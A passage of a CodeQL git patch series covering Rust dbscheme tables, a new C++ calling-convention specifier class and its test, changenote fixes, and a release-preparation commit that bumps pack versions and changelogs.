+union_generic_param_lists( + int id: @union ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +union_names( + int id: @union ref, + int name: @name ref +); + +#keyset[id] +union_struct_field_lists( + int id: @union ref, + int struct_field_list: @struct_field_list ref +); + +#keyset[id] +union_visibilities( + int id: @union ref, + int visibility: @visibility ref +); + +#keyset[id] +union_where_clauses( + int id: @union ref, + int where_clause: @where_clause ref +); + +uses( + unique int id: @use +); + +#keyset[id, index] +use_attrs( + int id: @use ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +use_use_trees( + int id: @use ref, + int use_tree: @use_tree ref +); + +#keyset[id] +use_visibilities( + int id: @use ref, + int visibility: @visibility ref +); + +for_exprs( + unique int id: @for_expr +); + +#keyset[id, index] +for_expr_attrs( + int id: @for_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +for_expr_iterables( + int id: @for_expr ref, + int iterable: @expr ref +); + +#keyset[id] +for_expr_pats( + int id: @for_expr ref, + int pat: @pat ref +); + +loop_exprs( + unique int id: @loop_expr +); + +#keyset[id, index] +loop_expr_attrs( + int id: @loop_expr ref, + int index: int ref, + int attr: @attr ref +); + +while_exprs( + unique int id: @while_expr +); + +#keyset[id, index] +while_expr_attrs( + int id: @while_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +while_expr_conditions( + int id: @while_expr ref, + int condition: @expr ref +); From f83f14bab2b81fa262e1896f62c84d85a5a4fb12 Mon Sep 17 00:00:00 2001 From: idrissrio Date: Fri, 28 Mar 2025 16:31:01 +0100 Subject: [PATCH 167/282] C++: add calling convention specifier class --- cpp/ql/lib/semmle/code/cpp/Specifier.qll | 12 ++++++++++++ .../calling-convention/calling-convention.ql | 5 +++++ 2 files changed, 17 insertions(+) create mode 100644 cpp/ql/test/library-tests/calling-convention/calling-convention.ql diff --git a/cpp/ql/lib/semmle/code/cpp/Specifier.qll b/cpp/ql/lib/semmle/code/cpp/Specifier.qll index 2f1976d220c..28ba2195656 100644 --- a/cpp/ql/lib/semmle/code/cpp/Specifier.qll +++ b/cpp/ql/lib/semmle/code/cpp/Specifier.qll @@ -97,6 +97,18 @@ class AccessSpecifier extends Specifier { override string getAPrimaryQlClass() { result = "AccessSpecifier" } } +/** + * A C/C++ calling convention specifier: `cdecl`, `fastcall`, `stdcall`, `thiscall`, + * `vectorcall`, or `clrcall`. + */ +class CallingConventionSpecifier extends Specifier { + CallingConventionSpecifier() { + this.hasName(["cdecl", "fastcall", "stdcall", "thiscall", "vectorcall", "clrcall"]) + } + + override string getAPrimaryQlClass() { result = "CallingConventionSpecifier" } +} + /** * An attribute introduced by GNU's `__attribute__((name))` syntax, * Microsoft's `__declspec(name)` syntax, Microsoft's `[name]` syntax, the diff --git a/cpp/ql/test/library-tests/calling-convention/calling-convention.ql b/cpp/ql/test/library-tests/calling-convention/calling-convention.ql new file mode 100644 index 00000000000..02e3b3af5ce --- /dev/null +++ b/cpp/ql/test/library-tests/calling-convention/calling-convention.ql @@ -0,0 +1,5 @@ +import cpp + +from FunctionDeclarationEntry func, CallingConventionSpecifier ccs +where ccs.hasName(func.getASpecifier()) +select func, func.getASpecifier() From 9ec7f3c9a5587398a5796dd530f7fca2f1c79ed8 Mon Sep 17 00:00:00 2001 From: idrissrio Date: Mon, 31 Mar 2025 11:57:32 +0200 Subject: [PATCH 168/282] C++: add test for calling conventions --- .../calling-convention.expected | 7 +++++++ .../library-tests/calling-convention/test.cpp | 16 ++++++++++++++++ 2 files changed, 23 insertions(+) create mode 100644 cpp/ql/test/library-tests/calling-convention/calling-convention.expected create mode 100644 cpp/ql/test/library-tests/calling-convention/test.cpp diff --git a/cpp/ql/test/library-tests/calling-convention/calling-convention.expected b/cpp/ql/test/library-tests/calling-convention/calling-convention.expected new file mode 100644 index 00000000000..a2dd4106616 --- /dev/null +++ b/cpp/ql/test/library-tests/calling-convention/calling-convention.expected @@ -0,0 +1,7 @@ +| test.cpp:4:21:4:35 | definition of thiscall_method | thiscall | +| test.cpp:7:14:7:23 | definition of func_cdecl | cdecl | +| test.cpp:9:16:9:27 | definition of func_stdcall | stdcall | +| test.cpp:11:17:11:29 | definition of func_fastcall | fastcall | +| test.cpp:13:20:13:34 | definition of func_vectorcall | vectorcall | +| test.cpp:15:13:15:25 | definition of func_overload | cdecl | +| test.cpp:16:15:16:27 | definition of func_overload | stdcall | diff --git a/cpp/ql/test/library-tests/calling-convention/test.cpp b/cpp/ql/test/library-tests/calling-convention/test.cpp new file mode 100644 index 00000000000..982c3c0caea --- /dev/null +++ b/cpp/ql/test/library-tests/calling-convention/test.cpp @@ -0,0 +1,16 @@ +// semmle-extractor-options: --microsoft + +struct call_conventions { + void __thiscall thiscall_method() {} +}; + +void __cdecl func_cdecl() {} + +void __stdcall func_stdcall() {} + +void __fastcall func_fastcall() {} + +void __vectorcall func_vectorcall() {} + +int __cdecl func_overload() {} +int __stdcall func_overload(int x) {} From bcd038c291b3bda1819e4ba7a37e9730538e025a Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Mon, 31 Mar 2025 18:14:44 +0200 Subject: [PATCH 169/282] Actions: rename changenote file --- .../{2025-03-20.md => 2025-03-20-code-injection-pr.md} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename actions/ql/lib/change-notes/{2025-03-20.md => 2025-03-20-code-injection-pr.md} (100%) diff --git a/actions/ql/lib/change-notes/2025-03-20.md b/actions/ql/lib/change-notes/2025-03-20-code-injection-pr.md similarity index 100% rename from actions/ql/lib/change-notes/2025-03-20.md rename to actions/ql/lib/change-notes/2025-03-20-code-injection-pr.md From cd9ccef8b2f2037acc63e99561fab03d88b1bd1d Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Mon, 31 Mar 2025 18:45:01 +0200 Subject: [PATCH 170/282] Javascript, add missing `*` to changenote --- .../ql/lib/change-notes/2025-03-24-axios-additional-methods.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/javascript/ql/lib/change-notes/2025-03-24-axios-additional-methods.md b/javascript/ql/lib/change-notes/2025-03-24-axios-additional-methods.md index 9f31730bc14..4b92a5a3e43 100644 --- a/javascript/ql/lib/change-notes/2025-03-24-axios-additional-methods.md +++ b/javascript/ql/lib/change-notes/2025-03-24-axios-additional-methods.md @@ -1,4 +1,4 @@ --- category: minorAnalysis --- -Enhanced `axios` support with new methods (`postForm`, `putForm`, `patchForm`, `getUri`, `create`) and added support for `interceptors.request` and `interceptors.response`. +* Enhanced `axios` support with new methods (`postForm`, `putForm`, `patchForm`, `getUri`, `create`) and added support for `interceptors.request` and `interceptors.response`. From 84f6564cc0100cb36eb7e6805221b4e59351f354 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 31 Mar 2025 17:35:15 +0000 Subject: [PATCH 171/282] Release preparation for version 2.21.0 --- actions/ql/lib/CHANGELOG.md | 7 ++++ .../0.4.6.md} | 9 +++--- actions/ql/lib/codeql-pack.release.yml | 2 +- actions/ql/lib/qlpack.yml | 2 +- actions/ql/src/CHANGELOG.md | 15 +++++++-- .../0.5.3.md} | 9 +++--- actions/ql/src/codeql-pack.release.yml | 2 +- actions/ql/src/qlpack.yml | 2 +- cpp/ql/lib/CHANGELOG.md | 6 ++++ .../4.1.0.md} | 9 +++--- cpp/ql/lib/codeql-pack.release.yml | 2 +- cpp/ql/lib/qlpack.yml | 2 +- cpp/ql/src/CHANGELOG.md | 7 ++++ .../change-notes/2025-03-14-mad-atl-fix.md | 4 --- .../1.3.7.md} | 10 +++--- cpp/ql/src/codeql-pack.release.yml | 2 +- cpp/ql/src/qlpack.yml | 2 +- .../ql/campaigns/Solorigate/lib/CHANGELOG.md | 4 +++ .../lib/change-notes/released/1.7.37.md | 3 ++ .../Solorigate/lib/codeql-pack.release.yml | 2 +- csharp/ql/campaigns/Solorigate/lib/qlpack.yml | 2 +- .../ql/campaigns/Solorigate/src/CHANGELOG.md | 4 +++ .../src/change-notes/released/1.7.37.md | 3 ++ .../Solorigate/src/codeql-pack.release.yml | 2 +- csharp/ql/campaigns/Solorigate/src/qlpack.yml | 2 +- csharp/ql/lib/CHANGELOG.md | 7 ++++ .../2025-03-26-blazor-parameter-passing.md | 4 --- .../2025-03-27-update-system.uri-model.md | 4 --- csharp/ql/lib/change-notes/released/5.1.3.md | 6 ++++ csharp/ql/lib/codeql-pack.release.yml | 2 +- csharp/ql/lib/qlpack.yml | 2 +- csharp/ql/src/CHANGELOG.md | 15 +++++++++ .../change-notes/2025-02-26-path-combine.md | 4 --- .../2025-03-05-useless-if-statement.md | 4 --- .../2025-03-10-task-not-disposed.md | 4 --- .../2025-03-10-unknown-type-matching.md | 4 --- .../2025-03-11-constant-condition.md | 4 --- .../2025-03-13-useless-gethashcode-call.md | 4 --- .../2025-03-21-dependency-fetching.md | 4 --- csharp/ql/src/change-notes/released/1.1.0.md | 14 ++++++++ csharp/ql/src/codeql-pack.release.yml | 2 +- csharp/ql/src/qlpack.yml | 2 +- go/ql/consistency-queries/CHANGELOG.md | 4 +++ .../change-notes/released/1.0.20.md | 3 ++ .../codeql-pack.release.yml | 2 +- go/ql/consistency-queries/qlpack.yml | 2 +- go/ql/lib/CHANGELOG.md | 8 +++++ .../2025-03-02-squirrel-source-models.md | 5 --- .../2025-03-03-couchbase-source-models.md | 5 --- .../2025-03-04-improve-models-for-sync-map.md | 4 --- go/ql/lib/change-notes/released/4.2.2.md | 7 ++++ go/ql/lib/codeql-pack.release.yml | 2 +- go/ql/lib/qlpack.yml | 2 +- go/ql/src/CHANGELOG.md | 6 ++++ .../1.1.11.md} | 7 ++-- go/ql/src/codeql-pack.release.yml | 2 +- go/ql/src/qlpack.yml | 2 +- java/ql/lib/CHANGELOG.md | 15 +++++++++ .../change-notes/2025-03-03-maven-fixes.md | 5 --- ...25-03-10-matches-replace-path-sanitizer.md | 4 --- .../change-notes/2025-03-18-cyclic-types.md | 4 --- .../change-notes/2025-03-18-gradle-fixes.md | 4 --- .../change-notes/2025-03-18-maven-enforcer.md | 4 --- .../2025-03-27-gradle-fetch-reduction.md | 4 --- java/ql/lib/change-notes/released/7.1.2.md | 14 ++++++++ java/ql/lib/codeql-pack.release.yml | 2 +- java/ql/lib/qlpack.yml | 2 +- java/ql/src/CHANGELOG.md | 16 ++++++++++ .../2025-02-24-spring-boot-actuators-promo.md | 4 --- .../2025-03-02-unreleased-lock-fp.md | 4 --- ...-fix-improper-intent-verification-query.md | 4 --- .../change-notes/2025-03-10-empty-method.md | 4 --- .../2025-03-13-fix-toctou-false-positive.md | 4 --- java/ql/src/change-notes/released/1.4.0.md | 15 +++++++++ java/ql/src/codeql-pack.release.yml | 2 +- java/ql/src/qlpack.yml | 2 +- javascript/ql/lib/CHANGELOG.md | 32 +++++++++++++++++++ .../change-notes/2025-02-17-typescript-5-8.md | 4 --- .../change-notes/2025-02-25-react-relay.md | 4 --- .../ql/lib/change-notes/2025-03-03-regex-v.md | 7 ---- .../2025-03-10-js-refactor-markdown-table.md | 4 --- .../2025-03-11-tanstack-angular.md | 5 --- .../change-notes/2025-03-13-tanstack-vue.md | 4 --- .../lib/change-notes/2025-03-13-unescape.md | 4 --- .../ql/lib/change-notes/2025-03-14-escape.md | 4 --- .../2025-03-17-underscore-string.md | 4 --- .../change-notes/2025-03-20-apollo-server.md | 4 --- .../lib/change-notes/2025-03-20-superagent.md | 4 --- .../2025-03-24-axios-additional-methods.md | 4 --- .../change-notes/2025-03-24-got-package.md | 4 --- .../ql/lib/change-notes/2025-03-26-Hapi.md | 4 --- .../change-notes/2025-03-26-async-fileRead.md | 4 --- .../change-notes/2025-03-26-hana-db-client.md | 4 --- .../lib/change-notes/2025-03-28-fs-extra.md | 4 --- .../ql/lib/change-notes/released/2.6.0.md | 31 ++++++++++++++++++ javascript/ql/lib/codeql-pack.release.yml | 2 +- javascript/ql/lib/qlpack.yml | 2 +- javascript/ql/src/CHANGELOG.md | 14 ++++++++ .../src/change-notes/2025-02-21-test-suite.md | 5 --- .../2025-02-28-membership-regexp-test.md | 7 ---- .../ql/src/change-notes/2025-03-11-vue-fix.md | 6 ---- .../ql/src/change-notes/released/1.5.2.md | 13 ++++++++ javascript/ql/src/codeql-pack.release.yml | 2 +- javascript/ql/src/qlpack.yml | 2 +- misc/suite-helpers/CHANGELOG.md | 4 +++ .../change-notes/released/1.0.20.md | 3 ++ misc/suite-helpers/codeql-pack.release.yml | 2 +- misc/suite-helpers/qlpack.yml | 2 +- python/ql/lib/CHANGELOG.md | 10 ++++++ .../2025-02-11-fix-match-literal-pruning.md | 5 --- ...et-min-max-parameters-to-function-class.md | 5 --- python/ql/lib/change-notes/released/4.0.4.md | 9 ++++++ python/ql/lib/codeql-pack.release.yml | 2 +- python/ql/lib/qlpack.yml | 2 +- python/ql/src/CHANGELOG.md | 10 ++++++ ...nnotation-fp-in-unused-global-var-query.md | 5 --- .../1.4.6.md} | 10 ++++-- python/ql/src/codeql-pack.release.yml | 2 +- python/ql/src/qlpack.yml | 2 +- ruby/ql/lib/CHANGELOG.md | 4 +++ ruby/ql/lib/change-notes/released/4.1.3.md | 3 ++ ruby/ql/lib/codeql-pack.release.yml | 2 +- ruby/ql/lib/qlpack.yml | 2 +- ruby/ql/src/CHANGELOG.md | 4 +++ ruby/ql/src/change-notes/released/1.1.15.md | 3 ++ ruby/ql/src/codeql-pack.release.yml | 2 +- ruby/ql/src/qlpack.yml | 2 +- rust/ql/lib/CHANGELOG.md | 4 +++ rust/ql/lib/change-notes/released/0.1.5.md | 3 ++ rust/ql/lib/codeql-pack.release.yml | 2 +- rust/ql/lib/qlpack.yml | 2 +- rust/ql/src/CHANGELOG.md | 4 +++ rust/ql/src/change-notes/released/0.1.5.md | 3 ++ rust/ql/src/codeql-pack.release.yml | 2 +- rust/ql/src/qlpack.yml | 2 +- shared/controlflow/CHANGELOG.md | 4 +++ .../change-notes/released/2.0.4.md | 3 ++ shared/controlflow/codeql-pack.release.yml | 2 +- shared/controlflow/qlpack.yml | 2 +- shared/dataflow/CHANGELOG.md | 4 +++ .../dataflow/change-notes/released/2.0.4.md | 3 ++ shared/dataflow/codeql-pack.release.yml | 2 +- shared/dataflow/qlpack.yml | 2 +- shared/mad/CHANGELOG.md | 4 +++ shared/mad/change-notes/released/1.0.20.md | 3 ++ shared/mad/codeql-pack.release.yml | 2 +- shared/mad/qlpack.yml | 2 +- shared/rangeanalysis/CHANGELOG.md | 4 +++ .../change-notes/released/1.0.20.md | 3 ++ shared/rangeanalysis/codeql-pack.release.yml | 2 +- shared/rangeanalysis/qlpack.yml | 2 +- shared/regex/CHANGELOG.md | 4 +++ shared/regex/change-notes/released/1.0.20.md | 3 ++ shared/regex/codeql-pack.release.yml | 2 +- shared/regex/qlpack.yml | 2 +- shared/ssa/CHANGELOG.md | 4 +++ shared/ssa/change-notes/released/1.0.20.md | 3 ++ shared/ssa/codeql-pack.release.yml | 2 +- shared/ssa/qlpack.yml | 2 +- shared/threat-models/CHANGELOG.md | 4 +++ .../change-notes/released/1.0.20.md | 3 ++ shared/threat-models/codeql-pack.release.yml | 2 +- shared/threat-models/qlpack.yml | 2 +- shared/tutorial/CHANGELOG.md | 4 +++ .../tutorial/change-notes/released/1.0.20.md | 3 ++ shared/tutorial/codeql-pack.release.yml | 2 +- shared/tutorial/qlpack.yml | 2 +- shared/typeflow/CHANGELOG.md | 4 +++ .../typeflow/change-notes/released/1.0.20.md | 3 ++ shared/typeflow/codeql-pack.release.yml | 2 +- shared/typeflow/qlpack.yml | 2 +- shared/typeinference/CHANGELOG.md | 3 ++ .../change-notes/released/0.0.1.md | 3 ++ shared/typeinference/codeql-pack.release.yml | 2 ++ shared/typeinference/qlpack.yml | 2 +- shared/typetracking/CHANGELOG.md | 4 +++ .../change-notes/released/2.0.4.md | 3 ++ shared/typetracking/codeql-pack.release.yml | 2 +- shared/typetracking/qlpack.yml | 2 +- shared/typos/CHANGELOG.md | 4 +++ shared/typos/change-notes/released/1.0.20.md | 3 ++ shared/typos/codeql-pack.release.yml | 2 +- shared/typos/qlpack.yml | 2 +- shared/util/CHANGELOG.md | 4 +++ shared/util/change-notes/released/2.0.7.md | 3 ++ shared/util/codeql-pack.release.yml | 2 +- shared/util/qlpack.yml | 2 +- shared/xml/CHANGELOG.md | 4 +++ shared/xml/change-notes/released/1.0.20.md | 3 ++ shared/xml/codeql-pack.release.yml | 2 +- shared/xml/qlpack.yml | 2 +- shared/yaml/CHANGELOG.md | 4 +++ shared/yaml/change-notes/released/1.0.20.md | 3 ++ shared/yaml/codeql-pack.release.yml | 2 +- shared/yaml/qlpack.yml | 2 +- swift/ql/lib/CHANGELOG.md | 4 +++ swift/ql/lib/change-notes/released/4.1.3.md | 3 ++ swift/ql/lib/codeql-pack.release.yml | 2 +- swift/ql/lib/qlpack.yml | 2 +- swift/ql/src/CHANGELOG.md | 6 ++++ .../1.1.0.md} | 7 ++-- swift/ql/src/codeql-pack.release.yml | 2 +- swift/ql/src/qlpack.yml | 2 +- 203 files changed, 562 insertions(+), 309 deletions(-) rename actions/ql/lib/change-notes/{2025-03-20-code-injection-pr.md => released/0.4.6.md} (53%) rename actions/ql/src/change-notes/{2025-03-13-environment-query-names.md => released/0.5.3.md} (83%) rename cpp/ql/lib/change-notes/{2025-03-13-ascertaindef.md => released/4.1.0.md} (63%) delete mode 100644 cpp/ql/src/change-notes/2025-03-14-mad-atl-fix.md rename cpp/ql/src/change-notes/{2025-03-11-basic-int-types.md => released/1.3.7.md} (59%) create mode 100644 csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.37.md create mode 100644 csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.37.md delete mode 100644 csharp/ql/lib/change-notes/2025-03-26-blazor-parameter-passing.md delete mode 100644 csharp/ql/lib/change-notes/2025-03-27-update-system.uri-model.md create mode 100644 csharp/ql/lib/change-notes/released/5.1.3.md delete mode 100644 csharp/ql/src/change-notes/2025-02-26-path-combine.md delete mode 100644 csharp/ql/src/change-notes/2025-03-05-useless-if-statement.md delete mode 100644 csharp/ql/src/change-notes/2025-03-10-task-not-disposed.md delete mode 100644 csharp/ql/src/change-notes/2025-03-10-unknown-type-matching.md delete mode 100644 csharp/ql/src/change-notes/2025-03-11-constant-condition.md delete mode 100644 csharp/ql/src/change-notes/2025-03-13-useless-gethashcode-call.md delete mode 100644 csharp/ql/src/change-notes/2025-03-21-dependency-fetching.md create mode 100644 csharp/ql/src/change-notes/released/1.1.0.md create mode 100644 go/ql/consistency-queries/change-notes/released/1.0.20.md delete mode 100644 go/ql/lib/change-notes/2025-03-02-squirrel-source-models.md delete mode 100644 go/ql/lib/change-notes/2025-03-03-couchbase-source-models.md delete mode 100644 go/ql/lib/change-notes/2025-03-04-improve-models-for-sync-map.md create mode 100644 go/ql/lib/change-notes/released/4.2.2.md rename go/ql/src/change-notes/{2025-03-20-logging-false-positive-type-format-specifier.md => released/1.1.11.md} (89%) delete mode 100644 java/ql/lib/change-notes/2025-03-03-maven-fixes.md delete mode 100644 java/ql/lib/change-notes/2025-03-10-matches-replace-path-sanitizer.md delete mode 100644 java/ql/lib/change-notes/2025-03-18-cyclic-types.md delete mode 100644 java/ql/lib/change-notes/2025-03-18-gradle-fixes.md delete mode 100644 java/ql/lib/change-notes/2025-03-18-maven-enforcer.md delete mode 100644 java/ql/lib/change-notes/2025-03-27-gradle-fetch-reduction.md create mode 100644 java/ql/lib/change-notes/released/7.1.2.md delete mode 100644 java/ql/src/change-notes/2025-02-24-spring-boot-actuators-promo.md delete mode 100644 java/ql/src/change-notes/2025-03-02-unreleased-lock-fp.md delete mode 100644 java/ql/src/change-notes/2025-03-03-fix-improper-intent-verification-query.md delete mode 100644 java/ql/src/change-notes/2025-03-10-empty-method.md delete mode 100644 java/ql/src/change-notes/2025-03-13-fix-toctou-false-positive.md create mode 100644 java/ql/src/change-notes/released/1.4.0.md delete mode 100644 javascript/ql/lib/change-notes/2025-02-17-typescript-5-8.md delete mode 100644 javascript/ql/lib/change-notes/2025-02-25-react-relay.md delete mode 100644 javascript/ql/lib/change-notes/2025-03-03-regex-v.md delete mode 100644 javascript/ql/lib/change-notes/2025-03-10-js-refactor-markdown-table.md delete mode 100644 javascript/ql/lib/change-notes/2025-03-11-tanstack-angular.md delete mode 100644 javascript/ql/lib/change-notes/2025-03-13-tanstack-vue.md delete mode 100644 javascript/ql/lib/change-notes/2025-03-13-unescape.md delete mode 100644 javascript/ql/lib/change-notes/2025-03-14-escape.md delete mode 100644 javascript/ql/lib/change-notes/2025-03-17-underscore-string.md delete mode 100644 javascript/ql/lib/change-notes/2025-03-20-apollo-server.md delete mode 100644 javascript/ql/lib/change-notes/2025-03-20-superagent.md delete mode 100644 javascript/ql/lib/change-notes/2025-03-24-axios-additional-methods.md delete mode 100644 javascript/ql/lib/change-notes/2025-03-24-got-package.md delete mode 100644 javascript/ql/lib/change-notes/2025-03-26-Hapi.md delete mode 100644 javascript/ql/lib/change-notes/2025-03-26-async-fileRead.md delete mode 100644 javascript/ql/lib/change-notes/2025-03-26-hana-db-client.md delete mode 100644 javascript/ql/lib/change-notes/2025-03-28-fs-extra.md create mode 100644 javascript/ql/lib/change-notes/released/2.6.0.md delete mode 100644 javascript/ql/src/change-notes/2025-02-21-test-suite.md delete mode 100644 javascript/ql/src/change-notes/2025-02-28-membership-regexp-test.md delete mode 100644 javascript/ql/src/change-notes/2025-03-11-vue-fix.md create mode 100644 javascript/ql/src/change-notes/released/1.5.2.md create mode 100644 misc/suite-helpers/change-notes/released/1.0.20.md delete mode 100644 python/ql/lib/change-notes/2025-02-11-fix-match-literal-pruning.md delete mode 100644 python/ql/lib/change-notes/2025-02-26-add-get-min-max-parameters-to-function-class.md create mode 100644 python/ql/lib/change-notes/released/4.0.4.md delete mode 100644 python/ql/src/change-notes/2025-03-04-fix-forward-annotation-fp-in-unused-global-var-query.md rename python/ql/src/change-notes/{2025-03-20-modernize-special-method-wrong-signature-query.md => released/1.4.6.md} (52%) create mode 100644 ruby/ql/lib/change-notes/released/4.1.3.md create mode 100644 ruby/ql/src/change-notes/released/1.1.15.md create mode 100644 rust/ql/lib/change-notes/released/0.1.5.md create mode 100644 rust/ql/src/change-notes/released/0.1.5.md create mode 100644 shared/controlflow/change-notes/released/2.0.4.md create mode 100644 shared/dataflow/change-notes/released/2.0.4.md create mode 100644 shared/mad/change-notes/released/1.0.20.md create mode 100644 shared/rangeanalysis/change-notes/released/1.0.20.md create mode 100644 shared/regex/change-notes/released/1.0.20.md create mode 100644 shared/ssa/change-notes/released/1.0.20.md create mode 100644 shared/threat-models/change-notes/released/1.0.20.md create mode 100644 shared/tutorial/change-notes/released/1.0.20.md create mode 100644 shared/typeflow/change-notes/released/1.0.20.md create mode 100644 shared/typeinference/CHANGELOG.md create mode 100644 shared/typeinference/change-notes/released/0.0.1.md create mode 100644 shared/typeinference/codeql-pack.release.yml create mode 100644 shared/typetracking/change-notes/released/2.0.4.md create mode 100644 shared/typos/change-notes/released/1.0.20.md create mode 100644 shared/util/change-notes/released/2.0.7.md create mode 100644 shared/xml/change-notes/released/1.0.20.md create mode 100644 shared/yaml/change-notes/released/1.0.20.md create mode 100644 swift/ql/lib/change-notes/released/4.1.3.md rename swift/ql/src/change-notes/{2025-03-18-number_of_nodes.md => released/1.1.0.md} (74%) diff --git a/actions/ql/lib/CHANGELOG.md b/actions/ql/lib/CHANGELOG.md index 465cd145d43..6b69ddec1aa 100644 --- a/actions/ql/lib/CHANGELOG.md +++ b/actions/ql/lib/CHANGELOG.md @@ -1,3 +1,10 @@ +## 0.4.6 + +### Bug Fixes + +* The query `actions/code-injection/medium` now produces alerts for injection + vulnerabilities on `pull_request` events. + ## 0.4.5 No user-facing changes. diff --git a/actions/ql/lib/change-notes/2025-03-20-code-injection-pr.md b/actions/ql/lib/change-notes/released/0.4.6.md similarity index 53% rename from actions/ql/lib/change-notes/2025-03-20-code-injection-pr.md rename to actions/ql/lib/change-notes/released/0.4.6.md index 1f8b7430837..49cbcbb63a2 100644 --- a/actions/ql/lib/change-notes/2025-03-20-code-injection-pr.md +++ b/actions/ql/lib/change-notes/released/0.4.6.md @@ -1,5 +1,6 @@ ---- -category: fix ---- +## 0.4.6 + +### Bug Fixes + * The query `actions/code-injection/medium` now produces alerts for injection - vulnerabilities on `pull_request` events. \ No newline at end of file + vulnerabilities on `pull_request` events. diff --git a/actions/ql/lib/codeql-pack.release.yml b/actions/ql/lib/codeql-pack.release.yml index 466cd01cf4e..2b842473675 100644 --- a/actions/ql/lib/codeql-pack.release.yml +++ b/actions/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.4.5 +lastReleaseVersion: 0.4.6 diff --git a/actions/ql/lib/qlpack.yml b/actions/ql/lib/qlpack.yml index 76ef8181803..2362bf619f7 100644 --- a/actions/ql/lib/qlpack.yml +++ b/actions/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/actions-all -version: 0.4.6-dev +version: 0.4.6 library: true warnOnImplicitThis: true dependencies: diff --git a/actions/ql/src/CHANGELOG.md b/actions/ql/src/CHANGELOG.md index bd465cd8a20..c2b0d353f18 100644 --- a/actions/ql/src/CHANGELOG.md +++ b/actions/ql/src/CHANGELOG.md @@ -1,3 +1,11 @@ +## 0.5.3 + +### Bug Fixes + +* Fixed typos in the query and alert titles for the queries + `actions/envpath-injection/critical`, `actions/envpath-injection/medium`, + `actions/envvar-injection/critical`, and `actions/envvar-injection/medium`. + ## 0.5.2 No user-facing changes. @@ -7,9 +15,10 @@ No user-facing changes. ### Bug Fixes * The `actions/unversioned-immutable-action` query will no longer report any alerts, since the - Immutable Actions feature is not yet available for customer use. The query remains in the - default Code Scanning suites for use internal to GitHub. Once the Immutable Actions feature is - available, the query will be updated to report alerts again. + Immutable Actions feature is not yet available for customer use. The query has also been moved + to the experimental folder and will not be used in code scanning unless it is explicitly added + to a code scanning configuration. Once the Immutable Actions feature is available, the query will + be updated to report alerts again. ## 0.5.0 diff --git a/actions/ql/src/change-notes/2025-03-13-environment-query-names.md b/actions/ql/src/change-notes/released/0.5.3.md similarity index 83% rename from actions/ql/src/change-notes/2025-03-13-environment-query-names.md rename to actions/ql/src/change-notes/released/0.5.3.md index c0594fc6bee..b8c6dc4fa8d 100644 --- a/actions/ql/src/change-notes/2025-03-13-environment-query-names.md +++ b/actions/ql/src/change-notes/released/0.5.3.md @@ -1,6 +1,7 @@ ---- -category: fix ---- +## 0.5.3 + +### Bug Fixes + * Fixed typos in the query and alert titles for the queries `actions/envpath-injection/critical`, `actions/envpath-injection/medium`, - `actions/envvar-injection/critical`, and `actions/envvar-injection/medium`. \ No newline at end of file + `actions/envvar-injection/critical`, and `actions/envvar-injection/medium`. diff --git a/actions/ql/src/codeql-pack.release.yml b/actions/ql/src/codeql-pack.release.yml index 2d9d3f587f8..2164e038a5d 100644 --- a/actions/ql/src/codeql-pack.release.yml +++ b/actions/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.5.2 +lastReleaseVersion: 0.5.3 diff --git a/actions/ql/src/qlpack.yml b/actions/ql/src/qlpack.yml index 8ec60febbcf..d43eedd5444 100644 --- a/actions/ql/src/qlpack.yml +++ b/actions/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/actions-queries -version: 0.5.3-dev +version: 0.5.3 library: false warnOnImplicitThis: true groups: [actions, queries] diff --git a/cpp/ql/lib/CHANGELOG.md b/cpp/ql/lib/CHANGELOG.md index 234a154fe45..e958516a5a4 100644 --- a/cpp/ql/lib/CHANGELOG.md +++ b/cpp/ql/lib/CHANGELOG.md @@ -1,3 +1,9 @@ +## 4.1.0 + +### New Features + +* Added `Node.asUncertainDefinition` and `Node.asCertainDefinition` to the `DataFlow::Node` class for querying whether a definition overwrites the entire destination buffer. + ## 4.0.3 No user-facing changes. diff --git a/cpp/ql/lib/change-notes/2025-03-13-ascertaindef.md b/cpp/ql/lib/change-notes/released/4.1.0.md similarity index 63% rename from cpp/ql/lib/change-notes/2025-03-13-ascertaindef.md rename to cpp/ql/lib/change-notes/released/4.1.0.md index 6a55fc7bdd0..0ba91f0fa68 100644 --- a/cpp/ql/lib/change-notes/2025-03-13-ascertaindef.md +++ b/cpp/ql/lib/change-notes/released/4.1.0.md @@ -1,4 +1,5 @@ ---- -category: feature ---- -* Added `Node.asUncertainDefinition` and `Node.asCertainDefinition` to the `DataFlow::Node` class for querying whether a definition overwrites the entire destination buffer. \ No newline at end of file +## 4.1.0 + +### New Features + +* Added `Node.asUncertainDefinition` and `Node.asCertainDefinition` to the `DataFlow::Node` class for querying whether a definition overwrites the entire destination buffer. diff --git a/cpp/ql/lib/codeql-pack.release.yml b/cpp/ql/lib/codeql-pack.release.yml index f6bbc961bb1..d5b1bf88d10 100644 --- a/cpp/ql/lib/codeql-pack.release.yml +++ b/cpp/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 4.0.3 +lastReleaseVersion: 4.1.0 diff --git a/cpp/ql/lib/qlpack.yml b/cpp/ql/lib/qlpack.yml index 21923ae1536..2f9e0a91ca6 100644 --- a/cpp/ql/lib/qlpack.yml +++ b/cpp/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/cpp-all -version: 4.0.4-dev +version: 4.1.0 groups: cpp dbscheme: semmlecode.cpp.dbscheme extractor: cpp diff --git a/cpp/ql/src/CHANGELOG.md b/cpp/ql/src/CHANGELOG.md index 36df98d3941..ab79d5cb46e 100644 --- a/cpp/ql/src/CHANGELOG.md +++ b/cpp/ql/src/CHANGELOG.md @@ -1,3 +1,10 @@ +## 1.3.7 + +### Minor Analysis Improvements + +* 